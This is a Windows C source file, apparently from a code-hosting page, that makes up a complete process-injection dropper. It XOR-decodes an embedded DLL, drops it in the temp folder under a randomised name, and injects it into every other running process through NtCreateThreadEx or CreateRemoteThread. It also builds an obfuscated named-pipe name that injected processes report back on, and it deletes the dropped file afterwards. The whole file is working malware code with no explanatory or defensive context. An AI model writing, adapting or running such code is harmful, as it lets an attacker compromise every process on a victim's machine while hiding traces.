129 lines
4.4 KiB
C
129 lines
4.4 KiB
C
#include <windows.h>
|
|
#include <tlhelp32.h>
|
|
#include "party_blob.h"
|
|
|
|
typedef LONG NTSTATUS;
|
|
typedef NTSTATUS (WINAPI *PFN_NtCreateThreadEx)(
|
|
HANDLE*, ACCESS_MASK, void*, HANDLE,
|
|
LPTHREAD_START_ROUTINE, void*, ULONG,
|
|
SIZE_T, SIZE_T, SIZE_T, void*);
|
|
|
|
static PFN_NtCreateThreadEx g_NtCTE = NULL;
|
|
static FARPROC g_loadlib = NULL;
|
|
|
|
static BOOL inject_nte(DWORD pid, const WCHAR *dll_path) {
|
|
HANDLE hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
|
if (!hp) return FALSE;
|
|
SIZE_T path_bytes = (wcslen(dll_path)+1)*2;
|
|
LPVOID remote = VirtualAllocEx(hp, NULL, path_bytes+16, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
|
|
if (!remote) { CloseHandle(hp); return FALSE; }
|
|
SIZE_T written = 0;
|
|
WriteProcessMemory(hp, remote, dll_path, path_bytes, &written);
|
|
HANDLE hthread = NULL;
|
|
NTSTATUS st = 0;
|
|
if (g_NtCTE) {
|
|
st = g_NtCTE(&hthread, THREAD_ALL_ACCESS, NULL, hp,
|
|
(LPTHREAD_START_ROUTINE)g_loadlib, remote, 0, 0, 0, 0, NULL);
|
|
} else {
|
|
DWORD tid = 0;
|
|
hthread = CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)g_loadlib, remote, 0, &tid);
|
|
st = hthread ? 0 : -1;
|
|
}
|
|
BOOL ok = (st == 0 && hthread && hthread != INVALID_HANDLE_VALUE);
|
|
if (ok) CloseHandle(hthread);
|
|
CloseHandle(hp);
|
|
return ok;
|
|
}
|
|
|
|
static BOOL drop_dll(WCHAR *out_path) {
|
|
WCHAR tmp[MAX_PATH];
|
|
GetTempPathW(MAX_PATH, tmp);
|
|
SYSTEMTIME st; GetSystemTime(&st);
|
|
wsprintfW(out_path, L"%s%04x%04x%04x.dll",
|
|
tmp, st.wMilliseconds^0xAB3F,
|
|
(st.wSecond<<8)|st.wMinute,
|
|
GetCurrentProcessId()^0x1337);
|
|
BYTE *buf = (BYTE*)VirtualAlloc(NULL, PARTY_DLL_SIZE, MEM_COMMIT, PAGE_READWRITE);
|
|
if (!buf) return FALSE;
|
|
for (size_t i = 0; i < PARTY_DLL_SIZE; i++)
|
|
buf[i] = PARTY_DLL_DATA[i] ^ (BYTE)(i & 0xFF);
|
|
HANDLE hf = CreateFileW(out_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hf == INVALID_HANDLE_VALUE) { VirtualFree(buf, 0, MEM_RELEASE); return FALSE; }
|
|
DWORD w = 0;
|
|
WriteFile(hf, buf, (DWORD)PARTY_DLL_SIZE, &w, NULL);
|
|
CloseHandle(hf);
|
|
VirtualFree(buf, 0, MEM_RELEASE);
|
|
return (w == (DWORD)PARTY_DLL_SIZE);
|
|
}
|
|
|
|
typedef struct { DWORD pid; } PID_ENTRY;
|
|
static int enum_pids(PID_ENTRY *out, int max) {
|
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (snap == INVALID_HANDLE_VALUE) return 0;
|
|
PROCESSENTRY32W pe = { sizeof(pe) };
|
|
int n = 0;
|
|
if (Process32FirstW(snap, &pe)) do {
|
|
if (pe.th32ProcessID > 8 && n < max) {
|
|
out[n].pid = pe.th32ProcessID;
|
|
n++;
|
|
}
|
|
} while (Process32NextW(snap, &pe));
|
|
CloseHandle(snap);
|
|
return n;
|
|
}
|
|
|
|
static volatile LONG g_done = 0;
|
|
static WCHAR g_pipe_name[64];
|
|
|
|
static DWORD WINAPI pipe_server(void *unused) {
|
|
while (1) {
|
|
HANDLE h = CreateNamedPipeW(g_pipe_name,
|
|
PIPE_ACCESS_INBOUND,
|
|
PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
|
|
255, 64, 64, 0, NULL);
|
|
if (h == INVALID_HANDLE_VALUE) { Sleep(10); continue; }
|
|
ConnectNamedPipe(h, NULL);
|
|
DWORD pid=0, r=0;
|
|
ReadFile(h, &pid, 4, &r, NULL);
|
|
if (r == 4) InterlockedIncrement(&g_done);
|
|
CloseHandle(h);
|
|
}
|
|
}
|
|
|
|
static void build_pipe_name(WCHAR *out) {
|
|
const WCHAR prefix[] = L"\\\\.\\pipe\\";
|
|
const BYTE enc[] = {0x7c,0x62,0x7c,0x71,0x5f,0x71,0x60,0x7c,0x74,0x79};
|
|
wcscpy(out, prefix);
|
|
WCHAR *p = out + wcslen(prefix);
|
|
for (int i=0; i<10; i++) p[i] = (WCHAR)(enc[i]^0x11);
|
|
p[10] = 0;
|
|
}
|
|
|
|
int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR cmd, int show) {
|
|
HMODULE hk32 = GetModuleHandleW(L"kernel32.dll");
|
|
HMODULE hntdll = LoadLibraryW(L"ntdll.dll");
|
|
g_loadlib = GetProcAddress(hk32, "LoadLibraryW");
|
|
if (hntdll)
|
|
g_NtCTE = (PFN_NtCreateThreadEx)GetProcAddress(hntdll, "NtCreateThreadEx");
|
|
|
|
WCHAR dll_path[MAX_PATH];
|
|
if (!drop_dll(dll_path)) return 1;
|
|
|
|
build_pipe_name(g_pipe_name);
|
|
CreateThread(NULL, 0, pipe_server, NULL, 0, NULL);
|
|
|
|
PID_ENTRY *pids = (PID_ENTRY*)VirtualAlloc(NULL, 4096*sizeof(PID_ENTRY), MEM_COMMIT, PAGE_READWRITE);
|
|
int n = enum_pids(pids, 4096);
|
|
DWORD my_pid = GetCurrentProcessId();
|
|
|
|
for (int i = 0; i < n; i++) {
|
|
if (pids[i].pid != my_pid)
|
|
inject_nte(pids[i].pid, dll_path);
|
|
}
|
|
VirtualFree(pids, 0, MEM_RELEASE);
|
|
|
|
Sleep(90000);
|
|
DeleteFileW(dll_path);
|
|
return 0;
|
|
}
|